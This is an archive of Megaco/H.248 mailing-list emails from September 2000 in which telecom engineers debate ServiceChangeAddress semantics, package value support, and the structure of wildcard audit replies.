> > Subject: Re: Supplying only a port on a ServiceChangeAddress
> >
> >
> >
> >
> > "Rosen, Brian" wrote:
> >
> > > I think the issue is that you can have the same MGC have multiple
> > > IP addresses.  You accept the association, but change the address.
> > > Say, a pool of servers appearing to be one MGC.
> >
> > I'm not sure I fully understand what an association is then.
> > What's the
> > difference/relationship between the association address and the
> > ServiceChangeMgcId (which may itself contain an address or indirectly
> > refer to a number of addresses through DNS) ?
> >
> > -- Flemming
> >
> >
> > >
> > >
> > > Brian
> > >
> > > > -----Original Message-----
> > > > From: Flemming Andreasen [mailto:fandreas@cisco.com]
> > > > Sent: Tuesday, August 29, 2000 6:38 PM
> > > > To: Rosen, Brian
> > > > Cc: MEGACO@STANDARDS.NORTELNETWORKS.COM
> > > > Subject: Re: Supplying only a port on a ServiceChangeAddress
> > > >
> > > >
> > > >
> > > >
> > > > "Rosen, Brian" wrote:
> > > >
> > > > > Suppose all you want to specify in a ServiceChangeAddress
> > > > is a port number
> > > > > that is, the IP address doesn't change, but the port does.
> > > > >
> > > > > The ABNF sez:
> > > > > serviceChangeAddress = ServiceChangeAddressToken EQUAL VALUE
> > > > >
> > > > > This is because it could be IP, ATM, FR, MPLS....
> > > > >
> > > > > The example shows just a port number.
> > > >
> > > > Actually, I thought that's all that would be allowed in the
> > > > case of IP. If
> > > > not, how can it be within the "context of the association
> > > > currently being
> > > > negotiated", and how would it then relate to ServiceChangeMgcId ?
> > > >
> > > > -- Flemming
> > > >
> > > > >
> > > > >
> > > > > Should that be legal?  Should you have to specify the IP address
> > > > > as x.x.x.x:p?
> > > > >
> > > > > Brian
> > > >
> > > > --
> > > > Flemming Andreasen
> > > > Cisco Systems
> > > >
> > > >
> >
> > --
> > Flemming Andreasen
> > Cisco Systems
> >
> >


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 04:13:39 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA00817
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 04:13:38 -0400 (EDT)
Received: from standards (47.234.32.16:1209) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8F6D6@standards.nortelnetworks.com>; Mon, 4 Sep 2000 3:59:21 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 13380 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 03:59:21 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB8F6C3@standards.nortelnetworks.com>; Mon, 4 Sep 2000 3:49:20
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e84829w20076; Mon, 4 Sep 2000 10:02:09 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          KAA02540; Mon, 4 Sep 2000 10:02:08 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id KAA28526; Mon, 4 Sep 2000
          10:02:06 +0200 (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
References: <39A5959A.34FA015B@ericsson.com> <39A677AE.6DB5635@cisco.com>
            <39A6B45D.F0F66E82@americasm01.nt.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B2E629.F36316A5@ericsson.com>
Date:         Mon, 4 Sep 2000 11:00:41 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Re: Support of Values in Packages
X-To:         Kevin Boyle <kboyle@NORTELNETWORKS.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day Kevin,

Interesting discussion. Please see my reply below marked CHG.

Cheers, Christian

Kevin Boyle wrote:
>
> Hello,
>
> A general question here:
>
> What, exactly, is meant by "support" of a signal?  Does this mean that
> a gateway will absolutely know what the physical parameters of the
> signal are, and will play it?  Or does it mean something a little less
> than that, for instance, that the gateway will gracefully accept the
> signal in question, not necessarily doing anything about it?

[CHG] I would agree with your first interpretation of what support
means. The MG must be able to play that signal. However I believe that
in some instances you may not want to support the values of the
parameters associated with it. Eg. I support signal PlayAnnouncement
which has an announcement number parameter. I have a package defined
with announcement parameter values 1,2,3,4,5-100. In MG1 I cover 1-49
and in MG2 I cover 50-100. I would assume that its OK for MG1 to report
back Unsupported Value if you asked it to play 99.

>
> Generally speaking, signals, and tones in particular, have very
> precise definitions as to when and how they should be used.  So, if
> there are no phones in need of a particular signal off of a gateway,
> in theory, that signal would never be requested by the MGC.  However,
> if it was, by the package definition, the MG would be required to
> support it.  Is it incorrect, then, for the MG to successfully
> acknowledge the signal application command, and then throw the signal
> away?  Maybe the signal could be datafilled to be/do nothing in the
> MG, in which case ignoring the signal would be a correct application
> of the signal to the line.
[CHG] In the case of a Tone with no parameters I believe the MG must
play the signal. In the case where parameters are involved (ie. in the
case I give above) I think that the signal is refused as an error. It
obviously is because the MGC asked the wrong MG to play the signal.
I think that you can put functionality between several MGs and to me its
wrong to define packages based on resource splitting needing several
packages for one function.


>
> MGCs have a little different issue with the meaning of "support".
> Just because a MGC supports the ability to generate a particular
> signal to a MG, does not necessarily mean that MGC will ever do so.
> In this case, "support" becomes a pretty meaningless term.  If a
> signal is never going to be generated, then what does support really
> mean?  That the MGC can generate the signal through manual
> intervention?
[CHG] I agree with you. Its ultimately the Application that determines
what will be generated.

>
> The same argument about signal support in MGCs also applies to events
> as well.  If we will never ask for a particular event, what does
> support of that event mean?  For MGs, the same is not true.  A MG must
> be able to report a supported event when it is requested in the Events
> descriptor.  So support of events from a MG standpoint is fairly
> straightforward.  Since properties and statistics are acted upon in
> both directions, support is also a straightforward concept for these
> as well.
>
> I, too, agree that there is an issue regarding values, as highlighted
> by the codec example.  In the same vein, there needs to be a better
> definition of what support means, especially in regards to signals and
> events.  I propose, as a starting point for discussion, that "support"
> of signals in the MG means that the MG will accept the signal, and
> acknowledge it without error, at the very minimum.  Any problem with
> MGs choosing to ignore important signals will be rectified by the MG's
> inability to produce quality telephone service without those signals.
> "Support" in the MGC is a little tougher issue, since support of a
> signal or event is invisible until such time as the signal or event is
> requested.

[CHG] I think that in the case of both signal and events, parameters
must
come into play in the definition of what you support.

>
> Any comments/ideas/statements to correct my misconceptions? ;)
>
> Regards,
>
> Kevin Boyle
> CS2K Line Services
> Nortel Networks
>
> Flemming Andreasen wrote:
>
> > Christian Groves wrote:
> >
> > > G'Day all,
> > >
> > > There has been some confusion at the SG16 on what is supported in
> > > Packages.
> > >
> > > The understanding that I had was that: If you support a package
> > you must
> > > support all the signals, properties, events and statistics.
> >
> > Agreed.
> >
> > > However you
> > > do not have to support all the values associated with the
> > properties and
> > > parameters.
> >
> > I guess the term "values" is somewhat prone to interpretation, but I
> > would
> > tend to disagree if we refer to a list of well-defined values, as
> > e.g. a
> > list of tone ids in E.7.
> >
> > >
> > >
> > > Tom mentioned that a thread discussed on the list contravened
> > this.
> > >
> > > The reasoning that I have for not having to support all the values
> > is
> > > the following:
> > > o Proliferation of packages. Eg: if a package has a list of tones,
> > and I
> > > must support all the values, if I only want to support a subset of
> > these
> > > values then I need a new package. Therefore you may get the case
> > of a
> > > package "Package Call Progress Tones E.7" where an MG doesn't
> > support
> > > Payphone Recognition Tone because it doesn't have payphones
> > connected to
> > > it.
> >
> > However, in this parcticular example, the tones are both signals and
> > tone
> > ids, so the effect would be the same. While I'm not particularly
> > fond of the
> > tonegen package, it does nevertheless illustrate an important point,
> > namely
> > that the distinction between signals, and parameters to signals (and
> > similar
> > for other constructs) is somewhat arbitrary. The package really
> > gives you
> > two things:
> > 1. A name space
> > 2. A convenient grouping of some set of "properties"
> >
> > If we don't know exaclty what those "properties" are, then we've
> > lost a very
> > important aspect of packages.
> >
> > > To be compliant with H.248 I can't extend the package because I
> > want
> > > to remove the payphone tone. So a new Package needs to be defined
> > > containing exactly the same information but without the payphone
> > tone.
> > > Now my MG won't support the standard Call Progress Tone package
> > but will
> > > support the XXX_companies_Call_Progress_Tone package. This would
> > lead to
> > > a proliferation of packages.
> >
> > I agree, but we have to ask ourselves what the idea about packages
> > is.
> > Simplicity and flexibility are often at odds with each other and in
> > this
> > case stress the importance of defining packages very carefully.
> >
> > If I no longer know exactly what is supported in a package, how do I
> > go
> > about using that package ?
> >
> > >
> > >
> > > o Multiple GW support - One MG may not implement all the values of
> > a
> > > property. For something like a list of codecs, a group of
> > resources
> > > associated with the value may be placed in different MG GWs. ie.
> > GSM
> > > codecs in MG1, PCM codecs in MG2. So whilst the MGs support the
> > same
> > > package properties, they can't support a subset of values then
> > you'd
> > > need to define a different package for each MG configuration.
> > Again
> > > leading to a proliferation of packages.
> >
> > Back to defining what "values" mean. Obviously, if we define a
> > "codec"
> > property in a package, we can't expect support for every possible
> > codec in
> > the world.
> >
> > Maybe there's a distinction between supporting values for events,
> > signals,
> > statistics, and properties ?
> >
> > >
> > >
> > > o The MGC knows the PackageID, that all Properties, Signals,
> > Events,
> > > Statistics are supported. In H.248 we have the AuditCapability and
> >
> > > AuditValue commands to find out what actual values of properties
> > are
> > > supported.
> >
> > Not sure how you would do that with event and signal parameters
> > though (come
> > to think of it, I'm not sure how you, in practice, do that for a lot
> > of
> > parameters; "The appropriate descriptors, *with the possible values
> > for the
> > Termination* are returned from AuditCapabilities", Section 7.2.6).
> > On the
> > other, we could have a new property that looked similar, so it's not
> > clear
> > it wouldn't apply there either.
> >
> > >
> > >
> > > So if people agree that not all values in a package need to be
> > supported
> > > I propose to add some text to the implementor's guide:
> > > Section 12.1 after 2nd Paragraph
> > > "A MG SHALL support all Property, Signals & parameters, Events &
> > > parameters and Statistics. A MG MAY support a subset of property
> > and
> > > parameter values defined in the package unless specified in a
> > package."
> >
> > I don't want to deflate the package concept to the extent this would
> > seem to
> > allow, but I agree there's an issue here. Further discussion is
> > needed
> > before we make any change.
> >
> > -- Flemming
> >
> > >
> > >
> > > Cheers, Christian
> >
> > --
> > Flemming Andreasen
> > Cisco Systems


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 04:13:39 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA00828
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 04:13:39 -0400 (EDT)
Received: from standards (47.234.32.16:1209) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8F6DB@standards.nortelnetworks.com>; Mon, 4 Sep 2000 3:59:31 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 13381 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 03:59:30 -0400
Received: from penguin-ext.wise.edt.ericsson.se by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB8F6C4@standards.nortelnetworks.com>; Mon, 4 Sep 2000 3:49:29
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          penguin.wise.edt.ericsson.se (8.11.0/8.10.1/WIREfire-1.3) with ESMTP
          id e8482Pw20503 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 4 Sep
          2000 10:02:25 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          KAA02555 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 4 Sep 2000
          10:02:23 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id KAA28538 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 4 Sep 2000 10:02:21 +0200
          (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B2F95A.8A33CA8E@ericsson.com>
Date:         Mon, 4 Sep 2000 12:22:34 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Transaction Reply Context=ALL, wilcard response
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day all,

Perhaps someone can provide a clarification.

In the scenario where I do a
SUB(Context=ALL,Termination=?,),Wildcard-response.

Do I get in the transaction reply?

a)   a single TransactionReply[SUB(Context=ALL,Termination=?)]

or

b)   multiple commands replies
       TransactionReply[SUB(Context=1,Termination=?),
                        SUB(Context=2,Termination=?)
                        :
                        SUB(Context=*,Termination=?)

There's some ambiguity in the text.

Cheers, Christian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 04:17:05 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA00862
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 04:17:05 -0400 (EDT)
Received: from standards (47.234.32.16:1209) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8F727@standards.nortelnetworks.com>; Mon, 4 Sep 2000 4:01:50 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 13382 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 04:01:49 -0400
Received: from albatross-ext.wise.edt.ericsson.se by
          standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP
          id <0.FFB8F6C5@standards.nortelnetworks.com>; Mon, 4 Sep 2000 3:51:49
          -0400
Received: from al.edt.ericsson.se (elb1.al.edt.ericsson.se [136.225.252.11]) by
          albatross.wise.edt.ericsson.se (8.11.0/8.11.0/WIREfire-1.3) with
          ESMTP id e8484jp12738 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon,
          4 Sep 2000 10:04:45 +0200 (MEST)
Received: from elb4.al.edt.ericsson.se (elb4 [136.225.252.20]) by
          al.edt.ericsson.se (8.8.8+Sun/8.8.8/eri-dom-1.1) with ESMTP id
          KAA02785 for <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 4 Sep 2000
          10:04:43 +0200 (MET DST)
Received: from ericsson.com ([146.11.85.153]) by elb4.al.edt.ericsson.se
          (8.9.3+Sun/8.9.1/client-1.0) with ESMTP id KAA28605 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 4 Sep 2000 10:04:41 +0200
          (MET DST)
X-Mailer: Mozilla 4.72 [en] (Win98; U)
X-Accept-Language: en
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B35632.21AD8DE@ericsson.com>
Date:         Mon, 4 Sep 2000 18:58:42 +1100
Reply-To: Christian Groves <Christian.Groves@ERICSSON.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Christian Groves <Christian.Groves@ERICSSON.COM>
Subject:      Context List in H.248
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

G'Day all,

I've found an inconsistency between the text and the encodings.

In section 7.2.5 AuditValue it has the following table:

The following illustrates other information that can be obtained with
the Audit Command:
ContextID       TerminationID   Information Obtained
:
All             wildcard        Audit of all matching Terminations and
                                the Context to which they are associated
All             Root            List of all ContextIds

However the ABNF nor the ASN.1 have the support to send back a list of
context IDs. This is complicated by the fact the ContextIds sit above
the command. I think the functionality is desirable and valid so I guess
we need to fix the encodings.

Firstly do people see this as a valid problem? If so one solution would
be to add the ContextIDList to AuditReturnParameter. Do people have
other suggestions?

Cheers, Christian


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 04:54:09 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id EAA01141
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 04:54:09 -0400 (EDT)
Received: from standards (47.234.32.16:4417) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8F783@standards.nortelnetworks.com>; Mon, 4 Sep 2000 4:40:48 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 13614 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 04:40:47 -0400
Received: from globespan.net (216.6.89.98:1260) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB8F77E@standards.nortelnetworks.com>; Mon, 4 Sep 2000 4:30:44
          -0400
Received: from globespan.net (sphilip.india.ficon-tech.com [172.25.1.104]) by
          globespan.net (8.9.3/8.9.3) with ESMTP id OAA68585; Mon, 4 Sep 2000
          14:11:32 +0530 (IST) (envelope-from sphilip@globespan.net)
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <39B2F95A.8A33CA8E@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B3606C.1C37F3EE@globespan.net>
Date:         Mon, 4 Sep 2000 14:12:20 +0530
Reply-To: Shalini Philip <sphilip@GLOBESPAN.NET>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Shalini Philip <sphilip@GLOBESPAN.NET>
Organization: Globespan Inc.
Subject:      Re: Transaction Reply Context=ALL, wilcard response
X-To:         Christian Groves <Christian.Groves@ERICSSON.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello Christian, list,

    Since wildcard option is requested at the command level, the
returned Transaction
Reply should be as given in b).
The text in all the command descriptions says the following :
"If a wildcarded response is requested, only one command return is
generated, with
   the contents containing the union of the values of all Terminations
   matching the wildcard. "

The above statement implies that the union is taken for command replies
for the terminations matching the wildcard terminationId and not for the
wildcard ContextId.


Thanks & Regards,
  Shalini Philip.


Christian Groves wrote:

> G'Day all,
>
> Perhaps someone can provide a clarification.
>
> In the scenario where I do a
> SUB(Context=ALL,Termination=?,),Wildcard-response.
>
> Do I get in the transaction reply?
>
> a)   a single TransactionReply[SUB(Context=ALL,Termination=?)]
>
> or
>
> b)   multiple commands replies
>        TransactionReply[SUB(Context=1,Termination=?),
>                         SUB(Context=2,Termination=?)
>                         :
>                         SUB(Context=*,Termination=?)
>
> There's some ambiguity in the text.
>
> Cheers, Christian
>
> Notice to Recipient:
> This message is intended only for the use of the Addressee
> and may contain information that is proprietary and confidential
> and/or privileged by law. If you received this e-mail in error,
> any review, use, dissemination, distribution or copying of this
> e-mail is strictly prohibited. If you have received this e-mail in
> error, please notify us immediately of the error by return e-mail
> and please delete this message and all attachments from your system.
> Thank you.

--
Regards,

Shalini Philip
Globespan Inc.
E-Mail : mailto:sphilip@globespan.net
Web    : http://www.globespan.net


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 05:23:40 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id FAA01374
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 05:23:40 -0400 (EDT)
Received: from standards (47.234.32.16:1778) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8F7C8@standards.nortelnetworks.com>; Mon, 4 Sep 2000 5:07:16 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 13672 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 05:07:16 -0400
Received: from globespan.net (216.6.89.98:2400) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB8F7AD@standards.nortelnetworks.com>; Mon, 4 Sep 2000 4:57:14
          -0400
Received: from globespan.net (sphilip.india.ficon-tech.com [172.25.1.104]) by
          globespan.net (8.9.3/8.9.3) with ESMTP id OAA71158; Mon, 4 Sep 2000
          14:38:29 +0530 (IST) (envelope-from sphilip@globespan.net)
X-Mailer: Mozilla 4.7 [en] (Win95; I)
X-Accept-Language: en
MIME-Version: 1.0
References: <39B35632.21AD8DE@ericsson.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Message-ID:  <39B366BD.68C1C695@globespan.net>
Date:         Mon, 4 Sep 2000 14:39:17 +0530
Reply-To: Shalini Philip <sphilip@GLOBESPAN.NET>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Shalini Philip <sphilip@GLOBESPAN.NET>
Organization: Globespan Inc.
Subject:      Re: Context List in H.248
X-To:         Christian Groves <Christian.Groves@ERICSSON.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hello Christian, list,

    I recall this issue being discussed on the mailing list sometime back.
And it was decided that we would modify the grammar to return a Context Id
list only in V2.
The information of ContextId list can be conveyed by using different Action
Replies in the existing grammar. But as I see it, it is not possible to
specify an Action Reply with an empty Audit reply.


Thanks & Regards,
   Shalini Philip.



Christian Groves wrote:

> G'Day all,
>
> I've found an inconsistency between the text and the encodings.
>
> In section 7.2.5 AuditValue it has the following table:
>
> The following illustrates other information that can be obtained with
> the Audit Command:
> ContextID       TerminationID   Information Obtained
> :
> All             wildcard        Audit of all matching Terminations and
>                                 the Context to which they are associated
> All             Root            List of all ContextIds
>
> However the ABNF nor the ASN.1 have the support to send back a list of
> context IDs. This is complicated by the fact the ContextIds sit above
> the command. I think the functionality is desirable and valid so I guess
> we need to fix the encodings.
>
> Firstly do people see this as a valid problem? If so one solution would
> be to add the ContextIDList to AuditReturnParameter. Do people have
> other suggestions?
>
> Cheers, Christian
>
> Notice to Recipient:
> This message is intended only for the use of the Addressee
> and may contain information that is proprietary and confidential
> and/or privileged by law. If you received this e-mail in error,
> any review, use, dissemination, distribution or copying of this
> e-mail is strictly prohibited. If you have received this e-mail in
> error, please notify us immediately of the error by return e-mail
> and please delete this message and all attachments from your system.
> Thank you.

--
Regards,

Shalini Philip
Globespan Inc.
E-Mail : mailto:sphilip@globespan.net
Web    : http://www.globespan.net


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 09:11:52 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id JAA03608
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 09:11:51 -0400 (EDT)
Received: from standards (47.234.32.16:3000) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8F97B@standards.nortelnetworks.com>; Mon, 4 Sep 2000 8:58:17 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 14257 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 08:58:17 -0400
Received: from globespan.net (216.6.89.98:1429) by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB8F97A@standards.nortelnetworks.com>; Mon, 4 Sep 2000 8:58:15
          -0400
Received: from hemantag (vacant4.india.ficon-tech.com [172.25.1.131]) by
          globespan.net (8.9.3/8.9.3) with SMTP id SAA87084 for
          <MEGACO@STANDARDS.NORTELNETWORKS.COM>; Mon, 4 Sep 2000 18:39:45 +0530
          (IST) (envelope-from hemantag@globespan.net)
MIME-Version: 1.0
Content-Type: text/plain; charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook Express 5.00.2615.200
X-MimeOLE: Produced By Microsoft MimeOLE V5.00.2615.200
Message-ID:  <029d01c01671$5db2fa60$830119ac@india.ficontech.com>
Date:         Mon, 4 Sep 2000 18:39:29 +0530
Reply-To: Hemant Agrawal <hemantag@globespan.net>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: Hemant Agrawal <hemantag@globespan.net>
Organization: GlobeSpan Inc
Subject:      Wildcard Response
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Content-Transfer-Encoding: 7bit

Hi all,
         I will like to ask few question related to audit capability.

-  In case of wildcarded audit response, if MG is supporting more than one
 type of MUX,  the current ABNF does't allow the multiple mux type in
command
 reply.

-  In case of wildcarded audit response,current ABNF does not allow to
return
 multiple VALUEs for statisticsParameter,

 - In case of wildcard audit response for local & remote descriptors,  is it
 valid to return the list of sdp descriptors in the local & remote desc, or
  it is required to take a union of sdp descriptors also.

 Early response will be highly appreciated!

 Thanks & regards,
 Hemant Agrawal

________________________________________
Hemant Agrawal
GlobeSpan Inc
Tel: +91 575 4544028 x 121
E-mail:hemantag@globespan.net
Web: http://www.globespan.net


From owner-megaco@STANDARDS.NORTELNETWORKS.COM  Mon Sep  4 19:52:15 2000
Received: from standards.nortelnetworks.com (h16s32a234n47.user.nortelnetworks.com [47.234.32.16])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id TAA08103
	for <megaco-archive@LISTS.IETF.ORG>; Mon, 4 Sep 2000 19:52:15 -0400 (EDT)
Received: from standards (47.234.32.16:3610) by standards.nortelnetworks.com (LSMTP for Windows NT v1.1b) with SMTP id <0.FFB8FBE8@standards.nortelnetworks.com>; Mon, 4 Sep 2000 19:38:44 -0400
Received: from STANDARDS.NORTELNETWORKS.COM by STANDARDS.NORTELNETWORKS.COM
          (LISTSERV-TCP/IP release 1.8d) with spool id 15083 for
          MEGACO@STANDARDS.NORTELNETWORKS.COM; Mon, 4 Sep 2000 19:38:44 -0400
Received: from mailgate.pit.comms.marconi.com by standards.nortelnetworks.com
          (LSMTP for Windows NT v1.1b) with SMTP id
          <0.FFB8FBE7@standards.nortelnetworks.com>; Mon, 4 Sep 2000 19:38:43
          -0400
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com
          [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id TAA23485; Mon, 4 Sep 2000 19:51:39 -0400 (EDT)
Received: from whq-msgrtr-02.fore.com (whq-msgrtr-02.pit.comms.marconi.com
          [169.144.2.220]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with
          ESMTP id TAA03488; Mon, 4 Sep 2000 19:51:40 -0400 (EDT)
Received: by whq-msgrtr-02.pit.comms.marconi.com with Internet Mail Service
          (5.5.2650.21) id <R69XH1FN>; Mon, 4 Sep 2000 19:51:40 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Message-ID:  <4FBEA8857476D311A03300204840E1CF6787E1@whq-msgusr-02.pit.comms.marconi.com>
Date:         Mon, 4 Sep 2000 19:51:35 -0400
Reply-To: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Sender: "Media Gateway Control (megaco)"              <MEGACO@STANDARDS.NORTELNETWORKS.COM>
From: "Rosen, Brian" <Brian.Rosen@MARCONI.COM>
Subject:      Re: Supplying only a port on a ServiceChangeAddress
X-To:         Christian Groves <Christian.Groves@ERICSSON.COM>
To: MEGACO@STANDARDS.NORTELNETWORKS.COM

It depends on what you want to have happen.

If you want the MG, on receipt of a reply with a ServiceChangeAddress,
to tear down it's current transport connection, create a new one,
and stand by for messages from the MGC, then I suppose you would be
correct.

If it was TCP (and I guess SCTP), this is pretty weird, because the
MG established a full duplex connection, but the next message is
almost certainly from the MGC.  The MGC is going to have to watch for
this carefully, and not send messages until the new channel is up.

Or, the MGC can just use ServiceChangeMid.  The MG will respond by
tearing down the transport, establishing a new one, and sending
a new ServiceChange.  The MGC "fires and forgets" -- the new
ServiceChange, at the "new" address, looks like a complete new start.

Brian

-----Original Message-----
From: Christian Groves
To: MEGACO@STANDARDS.NORTELNETWORKS.COM
Sent: 9/3/00 7:38 PM
Subject: Re: Supplying only a port on a ServiceChangeAddress

G'Day Brian and Flemming,

I saw that the difference between when you use ServiceChangeAddress and
ServiceChangeMid was that the ServiceChangeAddress was used when talking
to an already contacted physical MGC. The ServiceChangeMid was used to
contact a physically seperate MGC. So I don't see the need of
disallowing anything but the port in IP as the MGC may have a range of
addresses.

Cheers, Christian

